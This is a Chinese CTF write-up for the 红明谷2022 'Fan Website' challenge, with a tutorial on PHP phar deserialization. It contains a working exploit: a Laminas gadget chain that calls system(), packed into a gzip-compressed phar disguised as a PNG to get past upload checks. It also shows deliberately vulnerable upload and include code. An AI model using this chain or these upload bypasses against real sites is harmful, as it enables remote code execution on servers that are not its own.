红明谷2022

红明谷2022

[TOC]

Fan Website

扫描到www.zip中有源码,Album是自写的部分,整个工程搜索 crtl+shift+; 搜到unserilize()但是没有污点源

/module/Album/src/Controller/AlbumController.php中

image-20220327103326050

有两个限制,首先上传文件不能含有HALT_COMPLIER,这里用蓝帽杯决赛和去年虎符决赛的思路,使用gzip压缩一次就好了

gzip后,对比,没有了HALT_COMPLIER()

image-20220327125321461

然后对文件大小也有限制,这里用python产生垃圾数据,并追加到phar文件中

产生垃圾数据:

1
2
3
4
5
6
7
8
9
10
11
12
import random 
def ranstr(num):
H = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
salt = ''
for i in range(num):
salt += random.choice(H)
return salt
salt = ranstr(12000)
print(salt)
f = open('test.txt','w')
f.write(salt)
f.close()

另外,前面还有对上传文件后缀为图片格式的限制,改下后缀

1
rename("yenan.phar.gz", "yenan.png");

链子就直接用 https://xz.aliyun.com/t/8975#toc-12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}


namespace Laminas\Log\Writer{
abstract class AbstractWriter{}

class Mail extends AbstractWriter{
protected $eventsToMail = ["cat /flag"]; // cmd cmd cmd
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}

namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}
namespace{
// use \Laminas\Log\Logger; //这样写的话配套后面的$o = new Logger();那句
$o = new \Laminas\Log\Logger();
$phar = new Phar("yenan.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>"); //绕过文件头和设置stub
// $o = new Logger();
$phar->setMetadata($o); //将自定义的meta-data以序列化形式存入manifest,这个函数相当于serialize()了
$phar->addFromString("test.txt", file_get_contents("test.txt")); //凑文件大小
$phar->stopBuffering();
system("gzip yenan.phar");//绕过检查stub
rename("yenan.phar.gz", "yenan.png");
}
?>

观察生成的文件结构:可见先是stub部分,然后是序列化数据部分,最后是无用随机字符部分
image-20220327125048740

在/album/imgupload上传后

image-20220327111615445

审计/module/Album/src/Controller/AlbumController.php中,有unlink这个文件操作函数,我们知道php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化

image-20220327125539869

在/album/imgdelete触发

image-20220327111747874

路由规则咋规定的呢在/module/config里面 :

image-20220327130408346

module下面的两个就是根路由,要么是/album,要么是/application,然后对于application,找src下面的controller的IndexController.php,里面有indexAction()方法,因此,index就是路由

1
http://vps:port/application/index
image-20220327130444150

这个同理,/album下面的,src中的Controller下的AlbumController类中的deleteAction()方法,因此delete就是路由

1
http://vps:port/album/add
image-20220327130754840

利用 phar:// 拓展 PHP 反序列化的攻击面

1、回顾一下原先PHP反序列化攻击的必要条件

(1)首先我们必须有unserialize()函数

(2)unserialize()函数的参数必须可控

2、Phar://如何扩展反序列化攻击面的

原来 phar 文件包在 生成时会以序列化的形式存储用户自定义的 meta-data ,配合 phar:// 我们就能在文件系统函数 file_exists() is_dir() 等参数可控的情况下实现自动的反序列化操作,于是我们就能通过构造精心设计的 phar 包在没有 unserailize() 的情况下实现反序列化攻击,从而将 PHP 反序列化漏洞的触发条件大大拓宽了,降低了我们 PHP 反序列化的攻击起点。

3、phar的使用

1.Phar的文件结构

(1) a stub

可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

(2) a manifest describing the contents

因为 Phar 本身就是一个压缩文件,它里面存储着其中每个被压缩文件的权限、属性等信息。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

(3)the file contents

被压缩文件内容

2.如何创建一个phar压缩文件

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

因为不是文本文件,我们使用hexdump看一下文件内容

image-20220327110759982

可以清楚地看到我们的 TestObject 类已经以序列化的形式存入文件中

我们刚刚说过了,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,文件系统函数表:

image-20220327111023563
3.phar反序列化小实验

实例代码:

1
2
3
4
5
6
7
8
9
10
<?php 
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}

$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>

结果输出Destruct called

可以看出我们成功的在没有 unserailize() 函数的情况下,通过精心构造的 phar 文件,再结合 phar:// 协议,配合文件系统函数,实现了一次精彩的反序列化操作。

4.将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

采用这种方法可以绕过很大一部分上传检测

4、phar实际利用

4.1,利用条件

(1)phar文件要能够上传到服务器端。

(2)要有可用的魔术方法作为“跳板”。

(3)文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

4.2实战

前端的上传页面

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ea3y_upload_file</title>
</head>
<body>
<form action="http://localhost/ctf/phar/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="upload" />
</form>
</body>
</html>

后台的检测页面,先限制好只能传gif

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"]."<br>";
echo "Type: " . $_FILES["file"]["type"]."<br>";
echo "Temp file: " . $_FILES["file"]["tmp_name"]."<br>";

if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}

后台解析文件的php

1
2
3
4
5
6
7
8
$filename=$_GET['filename'];
class AnyClass{
function __destruct()
{
eval($this ->data);
}
}
include ($filename);

类里面有个魔幻函数,同时还有一句eval,甚至还能给你一句include,没错,就是它了

自己打一个生成phar的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class AnyClass{
function __destruct()
{
eval($this -> data);
}
}
$phar = new Phar('phar2.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> data = 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

可以看到,stub前面已经加了gif头,类里面的参数是phpinfo,如果最后能利用的话就会输出php的信息

执行一下可以看到生成phar2.phar文件,改下后缀成gif文件,然后上传,最后访问

image-20220327111307054